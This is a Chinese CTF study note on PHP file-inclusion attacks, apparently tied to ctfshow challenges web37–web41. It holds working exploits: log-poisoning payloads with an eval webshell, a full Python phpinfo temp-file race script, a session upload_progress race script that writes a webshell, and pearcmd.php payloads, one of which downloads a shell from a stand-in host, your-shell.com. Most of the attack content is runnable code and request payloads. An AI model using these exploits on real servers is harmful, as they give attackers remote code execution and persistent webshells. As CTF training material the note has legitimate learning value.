目录
一、nginx日志文件包含
二、临时文件包含
三、php的session文件包含
四、pear文件包含
五 、远程文件包含
文件包含
include "/var/www/html/flag.php";
一 文件名可控
$file=$_GET['file'];
include $file.".php"; //用php伪协议 ,可以使用data协议
二 文件后缀可控
$file=$_GET['file'];
include "/var/www/html/".$file; //不能使用伪协议了
/var/www/html/../../../../../flag
高级文件包含
一、nginx日志文件包含
nginx 可以认为它是http的一个服务器软件,提供了http服务 ,默认监听80端口
http://localhost/123.php?a=b
123.php 后缀是否是.php .就进行一次转发,转发到本地的127.0.0.1的9000端口
9000端口,是被另一个服务端软件监听,它提供解析php文件的服务,我们把这个软件,叫做php-fpm
专门解析php后缀的文件,执行里面代码,将执行结果交给nginx,再由nginx返回给http的客户端,这个客户端就是浏览器
http://localhost/123.jpg
123.jpg 非php后缀,那么由自己处理,nginx会找到web目录,读取123.jpg的内容,并返回给浏览器,同时告诉浏览器,我返回的
文件内容是一个jpg图片,你按照图片模式进行渲染,于是,浏览器页面上就能显示出一张图片出来
日志包含的前提条件
1 有文件名可控的文件包含点
2 有可以访问到的日志路径 默认nginx的日志路径为 /var/log/nginx/access.log
(linux默认日志路径:var/log)
例题1:web37
UA头里的php代码必须要一次性写对,如果出错,文件包含执行的时候会报fatal error不再向下解析后续再写入的php代码(环境被污染)
payload:
?file=../../../../../../var/log/nginx/access.log
UA:<?php eval($_POST[1]);?>
post:1=system('tac /f*');
二、临时文件包含
/tmp/php??????
文件包含,能否包含一个 /???/????????[@-[]]
答案是:不行 文件包含,是不支持通配符
我们明确的,得到这个临时目录下php开头的随机文件名字全称,然后我们就可以正常包含进去
默认情况,生命周期与php脚本一致,也就是说,脚本运行过程中,存在,脚本运行结束了,这个临时文件会被自动删除
突破点:
1 在php脚本运行过程中,包含临时文件
2 在脚本运行过程中,得到完整的临时文件名称
php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,它是一块内容一块内容发送的
4096个字符
假设我们能够访问phpinfo的结果 FILES 就会存在tmp_name临时文件名字,读取后可以成功包含
强制文件上传,在上传期间,临时文件是存在的,包含临时文件,执行了其中的php代码,达成了RCE效果,最终删除临时文件
最终原理就是增大phpinfo页面回显的字节数,让其不一次性执行完,拖慢执行速度,当读到临时文件时就可以进行包含
phpinfo_lfi
例题2 web38
贴出攻击脚本,要在python2.7的环境下运行
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
三、php的session文件包含
php的session文件包含,upload_progress文件包含
需要配置文件如下设置
强制文件上传时,通过上传一个固定的表单PHP_SESSION_UPLOAD_PROGRESS ,可以往服务器的session文件内写入我们的指定内容
然后在脚本运行过程中包含后,可以执行里面的php代码
例题3 web39
贴出脚本
import requests
import threading
session = requests.session()
sess="ctfshow"
file_name="/var/www/html/1.php"
file_content='<?php eval($_POST[1]);?>'
url = "http://f7a14db4-e464-4679-a278-1bff18bb4794.challenges.ctfer.com:8080/"
data = {
"PHP_SESSION_UPLOAD_PROGRESS":f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
}
file= {
'file':'ctfshow'
}
cookies={
'PHPSESSID':sess
}
def write():
while True:
r = session.post(url=url,data=data,files=file,cookies=cookies)
def read():
while True:
r = session.post(url=url+"?file=../../../../../../tmp/sess_ctfshow")
if "success" in r.text:
print("shell 地址为:"+url+"/1.php")
exit()
threads = [threading.Thread(target=write),threading.Thread(target=read)]
for t in threads:
t.start()
跑出结果
访问,RCE即可
四、pear文件包含
条件:
1 有文件包含点
2 开启了pear扩展
3 配置文件中register_argc_argv 设置为On,而默认为Off
PEAR扩展
PHP Extension and Application Repository
默认安装位置是 /usr/local/lib/php/
利用Pear扩展进行文件包含
方法一 远程文件下载
?file=/usr/local/lib/php/pearcmd.php&ctfshow+install+-R+/var/www/html/+http://your-shell.com/shell.php
方法二 生成配置文件,配置项传入我们恶意的php代码的形式
a=b
username=root
man_dir=<?php eval($_POST[1]);?>
ctfshow.php
GET /?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+
方法三 写配置文件方式
GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php
例题4 web40
用方法二:
用方法三:
五 、远程文件包含
通过域名转数字的形式,可以不用.来构造远程文件地址
数字转IP地址 IP地址转数字 域名转数字IP
?file=http://731540450/1
例题5 web41